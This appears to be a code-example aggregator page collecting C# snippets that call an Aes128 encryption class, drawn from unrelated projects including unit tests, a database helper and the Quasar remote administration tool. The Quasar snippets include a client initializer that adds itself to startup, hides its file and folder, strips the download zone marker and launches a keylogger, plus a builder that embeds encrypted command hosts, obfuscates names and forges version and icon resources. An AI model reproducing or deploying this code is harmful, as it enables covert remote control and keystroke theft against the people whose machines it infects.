Exemplo n.º 1
0
        /// <summary>
        /// Encrypt Load from local. and initialize database instance.
        /// </summary>
        /// <param name="database"></param>
        /// <param name="filePath"></param>
        /// <param name="isEncrypt"></param>
        /// <param name="password"></param>
        /// <param name="salt"></param>
        public static void EncryptLoad(this IDatabase database, string filePath, string password, string salt)
        {
            byte[] contents = ExIO.ReadAllBytes(filePath);
            string jsonData = System.Text.Encoding.UTF8.GetString(Aes128.Decrypt(contents, password, salt));

            database.FromJson(jsonData);
        }
Exemplo n.º 2
0
        private readonly object _lockClients = new object(); // lock for clients-listview

        public FrmMain()
        {
            Aes128.SetDefaultKey(Settings.Password);

            _clientStatusHandler = new ClientStatusHandler();
            RegisterMessageHandler();
            InitializeComponent();
        }
Exemplo n.º 3
0
        /// <summary>
        /// Appends text to a log file.
        /// </summary>
        /// <param name="filename">The filename of the log.</param>
        /// <param name="appendText">The text to append.</param>
        public static void WriteLogFile(string filename, string appendText)
        {
            appendText = ReadLogFile(filename) + appendText;

            using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write))
            {
                byte[] data = Aes128.Encrypt(Encoding.UTF8.GetBytes(appendText));
                fStream.Seek(0, SeekOrigin.Begin);
                fStream.Write(data, 0, data.Length);
            }
        }
Exemplo n.º 4
0
        public void EncryptAndDecryptStringTest()
        {
            var input    = StringHelper.GetRandomString(100);
            var password = StringHelper.GetRandomString(50);

            Aes128.SetDefaultKey(password);

            var encrypted = Aes128.Encrypt(input);

            Assert.IsNotNull(encrypted);
            Assert.AreNotEqual(encrypted, input);

            var decrypted = Aes128.Decrypt(encrypted);

            Assert.AreEqual(input, decrypted);
        }
Exemplo n.º 5
0
        private byte[] BuildMessage(byte[] payload)
        {
            if (compressionEnabled)
            {
                payload = SafeQuickLZ.Compress(payload);
            }

            if (encryptionEnabled)
            {
                payload = Aes128.Encrypt(payload);
            }

            byte[] message = new byte[payload.Length + _parentServer.HEADER_SIZE];
            Array.Copy(BitConverter.GetBytes(payload.Length), message, _parentServer.HEADER_SIZE);
            Array.Copy(payload, 0, message, _parentServer.HEADER_SIZE, payload.Length);
            return(message);
        }
Exemplo n.º 6
0
 public static bool Initialize()
 {
     if (string.IsNullOrEmpty(VERSION))
     {
         return(false);
     }
     Aes128.SetDefaultKey(ENCRYPTIONKEY);
     TAG              = Aes128.Decrypt(TAG);
     VERSION          = Aes128.Decrypt(VERSION);
     HOSTS            = Aes128.Decrypt(HOSTS);
     SUBDIRECTORY     = Aes128.Decrypt(SUBDIRECTORY);
     INSTALLNAME      = Aes128.Decrypt(INSTALLNAME);
     MUTEX            = Aes128.Decrypt(MUTEX);
     STARTUPKEY       = Aes128.Decrypt(STARTUPKEY);
     LOGDIRECTORYNAME = Aes128.Decrypt(LOGDIRECTORYNAME);
     FixDirectory();
     return(true);
 }
Exemplo n.º 7
0
        public void EncryptAndDecryptByteArrayTest()
        {
            var input     = StringHelper.GetRandomString(100);
            var inputByte = Encoding.UTF8.GetBytes(input);
            var password  = StringHelper.GetRandomString(50);

            Aes128.SetDefaultKey(password);

            var encryptedByte = Aes128.Encrypt(inputByte);

            Assert.IsNotNull(encryptedByte);
            CollectionAssert.AllItemsAreNotNull(encryptedByte);
            CollectionAssert.AreNotEqual(encryptedByte, inputByte);

            var decryptedByte = Aes128.Decrypt(encryptedByte);

            CollectionAssert.AreEqual(inputByte, decryptedByte);
        }
Exemplo n.º 8
0
        private void btnSave_Click(object sender, EventArgs e)
        {
            ushort port     = GetPortSafe();
            string password = txtPassword.Text;

            if (port == 0)
            {
                MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK,
                                MessageBoxIcon.Warning);
                return;
            }

            if (password.Length < 3)
            {
                MessageBox.Show("Please enter a secure password with more than 3 characters.",
                                "Please enter a secure password", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }

            Settings.ListenPort  = port;
            Settings.IPv6Support = chkIPv6Support.Checked;
            Settings.AutoListen  = chkAutoListen.Checked;
            Settings.ShowPopup   = chkPopup.Checked;
            if (password != Settings.Password)
            {
                Aes128.SetDefaultKey(password);
            }
            Settings.Password          = password;
            Settings.UseUPnP           = chkUseUpnp.Checked;
            Settings.ShowToolTip       = chkShowTooltip.Checked;
            Settings.EnableNoIPUpdater = chkNoIPIntegration.Checked;
            Settings.NoIPHost          = txtNoIPHost.Text;
            Settings.NoIPUsername      = txtNoIPUser.Text;
            Settings.NoIPPassword      = txtNoIPPass.Text;
            this.Close();
        }
Exemplo n.º 9
0
        public void Aes128ShouldDecryptable()
        {
            for (int i = 0; i < repeats; i++)
            {
                // random key ( 0 - 256 )
                byte[] key = SecureRandom.GetBytes(SecureRandom.Next(0, 256));

                // random iv ( 0 - 256 )
                byte[] iv = SecureRandom.GetBytes(SecureRandom.Next(0, 256));

                // random message ( 0 - 1024 )
                byte[] expected = SecureRandom.GetBytes(SecureRandom.Next(0, 1024));

                // Encrypt / Decrypt
                Assert.Equal(expected, new Aes128(key).Decrypt(new Aes128(key).Encrypt(expected)));
                Assert.Equal(expected, new Aes128(key, iv).Decrypt(new Aes128(key, iv).Encrypt(expected)));

                // static Encrypt / Decrypt
                Assert.Equal(expected, Aes128.Decrypt(key, Aes128.Encrypt(key, expected)));
                Assert.Equal(expected, Aes128.Decrypt(key, iv, Aes128.Encrypt(key, iv, expected)));

                // TryEncrypt / TryDecrypt without iv
                {
                    Assert.True(Aes128.TryEncrypt(key, expected, out var encrypted));
                    Assert.True(Aes128.TryDecrypt(key, encrypted, out var actual));
                    Assert.Equal(expected, actual);
                }

                // TryEncrypt / TryDecrypt with iv
                {
                    Assert.True(Aes128.TryEncrypt(key, iv, expected, out var encrypted));
                    Assert.True(Aes128.TryDecrypt(key, iv, encrypted, out var actual));
                    Assert.Equal(expected, actual);
                }
            }
        }
Exemplo n.º 10
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            {
                return(false);
            }

            Aes128.SetDefaultKey(Settings.KEY, Settings.AUTHKEY);
            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new QuasarClient(hosts);
                return(true);
            }
            else
            {
                MutexHelper.CloseMutex();
                ClientInstaller.Install(ConnectClient);
                return(false);
            }
        }
Exemplo n.º 11
0
        private void AsyncReceive(object state)
        {
            while (true)
            {
                byte[] readBuffer;
                lock (_readBuffers)
                {
                    if (_readBuffers.Count == 0)
                    {
                        lock (_readingmessagesLock)
                        {
                            _readingmessages = false;
                        }
                        return;
                    }

                    readBuffer = _readBuffers.Dequeue();
                }

                _readableDataLen += readBuffer.Length;
                bool process = true;
                while (process)
                {
                    switch (_receiveState)
                    {
                    case ReceiveType.Header:
                    {
                        if (_readableDataLen + _tempHeaderOffset >= _parentServer.HEADER_SIZE)
                        {         // we can read the header
                            int headerLength = (_appendHeader)
                                        ? _parentServer.HEADER_SIZE - _tempHeaderOffset
                                        : _parentServer.HEADER_SIZE;

                            try
                            {
                                if (_appendHeader)
                                {
                                    try
                                    {
                                        Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset,
                                                   headerLength);
                                    }
                                    catch (Exception)
                                    {
                                        process = false;
                                        Disconnect();
                                        break;
                                    }
                                    _payloadLen       = BitConverter.ToInt32(_tempHeader, 0);
                                    _tempHeaderOffset = 0;
                                    _appendHeader     = false;
                                }
                                else
                                {
                                    _payloadLen = BitConverter.ToInt32(readBuffer, _readOffset);
                                }

                                if (_payloadLen <= 0 || _payloadLen > _parentServer.MAX_MESSAGE_SIZE)
                                {
                                    throw new Exception("invalid header");
                                }
                            }
                            catch (Exception)
                            {
                                process = false;
                                Disconnect();
                                break;
                            }

                            _readableDataLen -= headerLength;
                            _readOffset      += headerLength;
                            _receiveState     = ReceiveType.Payload;
                        }
                        else         // _readableDataLen < _parentServer.HEADER_SIZE
                        {
                            try
                            {
                                Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, _readableDataLen);
                            }
                            catch (Exception)
                            {
                                process = false;
                                Disconnect();
                                break;
                            }
                            _tempHeaderOffset += _readableDataLen;
                            _appendHeader      = true;
                            process            = false;
                        }
                        break;
                    }

                    case ReceiveType.Payload:
                    {
                        if (_payloadBuffer == null || _payloadBuffer.Length != _payloadLen)
                        {
                            _payloadBuffer = new byte[_payloadLen];
                        }

                        int length = (_writeOffset + _readableDataLen >= _payloadLen)
                                    ? _payloadLen - _writeOffset
                                    : _readableDataLen;

                        try
                        {
                            Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length);
                        }
                        catch (Exception)
                        {
                            process = false;
                            Disconnect();
                            break;
                        }

                        _writeOffset     += length;
                        _readOffset      += length;
                        _readableDataLen -= length;

                        if (_writeOffset == _payloadLen)
                        {
                            bool isError = _payloadBuffer.Length == 0;

                            if (!isError)
                            {
                                if (encryptionEnabled)
                                {
                                    try
                                    {
                                        _payloadBuffer = Aes128.Decrypt(_payloadBuffer);
                                    }
                                    catch (Exception)
                                    {
                                        process = false;
                                        Disconnect();
                                        break;
                                    }
                                }

                                isError = _payloadBuffer.Length == 0;         // check if payload decryption failed
                            }

                            if (!isError)
                            {
                                if (compressionEnabled)
                                {
                                    try
                                    {
                                        _payloadBuffer = SafeQuickLZ.Decompress(_payloadBuffer);
                                    }
                                    catch (Exception)
                                    {
                                        process = false;
                                        Disconnect();
                                        break;
                                    }
                                }

                                isError = _payloadBuffer.Length == 0;         // check if payload decompression failed
                            }

                            if (isError)
                            {
                                process = false;
                                Disconnect();
                                break;
                            }

                            using (MemoryStream deserialized = new MemoryStream(_payloadBuffer))
                            {
                                try
                                {
                                    IMessage message = Serializer.Deserialize <IMessage>(deserialized);

                                    OnClientRead(message);
                                }
                                catch (Exception)
                                {
                                    process = false;
                                    Disconnect();
                                    break;
                                }
                            }

                            _receiveState  = ReceiveType.Header;
                            _payloadBuffer = null;
                            _payloadLen    = 0;
                            _writeOffset   = 0;
                        }

                        if (_readableDataLen == 0)
                        {
                            process = false;
                        }

                        break;
                    }
                    }
                }

                if (_receiveState == ReceiveType.Header)
                {
                    _writeOffset = 0; // prepare for next message
                }
                _readOffset      = 0;
                _readableDataLen = 0;
            }
        }
Exemplo n.º 12
0
        /// <summary>
        /// Builds a client executable.
        /// </summary>
        /// <remarks>
        /// Assumes the 'client.bin' file exist.
        /// </remarks>
        public static void Build(BuildOptions options)
        {
            // PHASE 1 - Settings
            var keys    = Aes128.DeriveKeys(options.Password);
            var key     = Convert.ToBase64String(keys.Item1);
            var authKey = Convert.ToBase64String(keys.Item2);

            AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");

            foreach (var typeDef in asmDef.Modules[0].Types)
            {
                if (typeDef.FullName == "Quasar.Client.Config.Settings")
                {
                    foreach (var methodDef in typeDef.Methods)
                    {
                        if (methodDef.Name == ".cctor")
                        {
                            string encKey = StringHelper.GetRandomString(20);

                            int strings = 1, bools = 1;

                            for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
                            {
                                if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
                                {
                                    switch (strings)
                                    {
                                    case 1:     //version
                                        methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.Version, encKey);
                                        break;

                                    case 2:     //ip/hostname
                                        methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.RawHosts, encKey);
                                        break;

                                    case 3:     //key
                                        methodDef.Body.Instructions[i].Operand = key;
                                        break;

                                    case 4:     //authkey
                                        methodDef.Body.Instructions[i].Operand = authKey;
                                        break;

                                    case 5:     //installsub
                                        methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.InstallSub, encKey);
                                        break;

                                    case 6:     //installname
                                        methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.InstallName, encKey);
                                        break;

                                    case 7:     //mutex
                                        methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.Mutex, encKey);
                                        break;

                                    case 8:     //startupkey
                                        methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.StartupName, encKey);
                                        break;

                                    case 9:     //encryption key
                                        methodDef.Body.Instructions[i].Operand = encKey;
                                        break;

                                    case 10:     //tag
                                        methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.Tag, encKey);
                                        break;

                                    case 11:     //LogDirectoryName
                                        methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.LogDirectoryName, encKey);
                                        break;
                                    }
                                    strings++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
                                         methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
                                {
                                    switch (bools)
                                    {
                                    case 1:     //install
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
                                        break;

                                    case 2:     //startup
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
                                        break;

                                    case 3:     //hidefile
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
                                        break;

                                    case 4:     //Keylogger
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
                                        break;

                                    case 5:     //HideLogDirectory
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory));
                                        break;

                                    case 6:     // HideInstallSubdirectory
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideInstallSubdirectory));
                                        break;
                                    }
                                    bools++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
                                {
                                    //reconnectdelay
                                    methodDef.Body.Instructions[i].Operand = options.Delay;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
                                {
                                    methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
                                }
                            }
                        }
                    }
                }
            }

            // PHASE 2 - Renaming
            Renamer r = new Renamer(asmDef);

            if (!r.Perform())
            {
                throw new Exception("renaming failed");
            }

            // PHASE 3 - Saving
            r.AsmDef.Write(options.OutputPath);

            // PHASE 4 - Assembly Information changing
            if (options.AssemblyInformation != null)
            {
                VersionResource versionResource = new VersionResource();
                versionResource.LoadFrom(options.OutputPath);

                versionResource.FileVersion    = options.AssemblyInformation[7];
                versionResource.ProductVersion = options.AssemblyInformation[6];
                versionResource.Language       = 0;

                StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
                stringFileInfo["CompanyName"]      = options.AssemblyInformation[2];
                stringFileInfo["FileDescription"]  = options.AssemblyInformation[1];
                stringFileInfo["ProductName"]      = options.AssemblyInformation[0];
                stringFileInfo["LegalCopyright"]   = options.AssemblyInformation[3];
                stringFileInfo["LegalTrademarks"]  = options.AssemblyInformation[4];
                stringFileInfo["ProductVersion"]   = versionResource.ProductVersion;
                stringFileInfo["FileVersion"]      = versionResource.FileVersion;
                stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
                stringFileInfo["InternalName"]     = options.AssemblyInformation[5];
                stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];

                versionResource.SaveTo(options.OutputPath);
            }

            // PHASE 5 - Icon changing
            if (!string.IsNullOrEmpty(options.IconPath))
            {
                IconFile iconFile = new IconFile(options.IconPath);
                IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile);
                iconDirectoryResource.SaveTo(options.OutputPath);
            }
        }
Exemplo n.º 13
0
        private void btnListen_Click(object sender, EventArgs e)
        {
            ushort port     = GetPortSafe();
            string password = txtPassword.Text;

            if (port == 0)
            {
                MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK,
                                MessageBoxIcon.Warning);
                return;
            }

            if (password.Length < 3)
            {
                MessageBox.Show("Please enter a secure password with more than 3 characters.",
                                "Please enter a secure password", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }

            if (btnListen.Text == "Start listening" && !_listenServer.Listening)
            {
                try
                {
                    Aes128.SetDefaultKey(password);

                    if (chkUseUpnp.Checked)
                    {
                        if (!UPnP.IsDeviceFound)
                        {
                            MessageBox.Show("No available UPnP device found!", "No UPnP device", MessageBoxButtons.OK,
                                            MessageBoxIcon.Information);
                        }
                        else
                        {
                            int outPort;
                            UPnP.CreatePortMap(port, out outPort);
                            if (port != outPort)
                            {
                                MessageBox.Show("Creating a port map with the UPnP device failed!\nPlease check if your device allows to create new port maps.", "Creating port map failed", MessageBoxButtons.OK,
                                                MessageBoxIcon.Warning);
                            }
                        }
                    }
                    if (chkNoIPIntegration.Checked)
                    {
                        NoIpUpdater.Start();
                    }
                    _listenServer.Listen(port, chkIPv6Support.Checked);
                }
                finally
                {
                    btnListen.Text         = "Stop listening";
                    ncPort.Enabled         = false;
                    txtPassword.Enabled    = false;
                    chkIPv6Support.Enabled = false;
                }
            }
            else if (btnListen.Text == "Stop listening" && _listenServer.Listening)
            {
                try
                {
                    _listenServer.Disconnect();
                    UPnP.DeletePortMap(port);
                }
                finally
                {
                    btnListen.Text         = "Start listening";
                    ncPort.Enabled         = true;
                    txtPassword.Enabled    = true;
                    chkIPv6Support.Enabled = true;
                }
            }
        }
Exemplo n.º 14
0
 /// <summary>
 /// Encrypt Save to local.
 /// </summary>
 /// <param name="database"></param>
 /// <param name="filePath"></param>
 /// <param name="password"></param>
 /// <param name="salt"></param>
 /// <param name="isDeleteContent"></param>
 public static void EncryptSave(this IDatabase database, string filePath, string password, string salt, bool isDeleteContent)
 {
     byte[] contents = Aes128.Encrypt(isDeleteContent ? "" : database.ToJson(false), password, salt);
     ExIO.WriteAllBytes(filePath, contents);
     ExUnityEditor.AssetDataBaseRefresh();
 }
Exemplo n.º 15
0
 /// <summary>
 /// Reads a log file.
 /// </summary>
 /// <param name="filename">The filename of the log.</param>
 public static string ReadLogFile(string filename)
 {
     return(File.Exists(filename) ? Encoding.UTF8.GetString(Aes128.Decrypt(File.ReadAllBytes(filename))) : string.Empty);
 }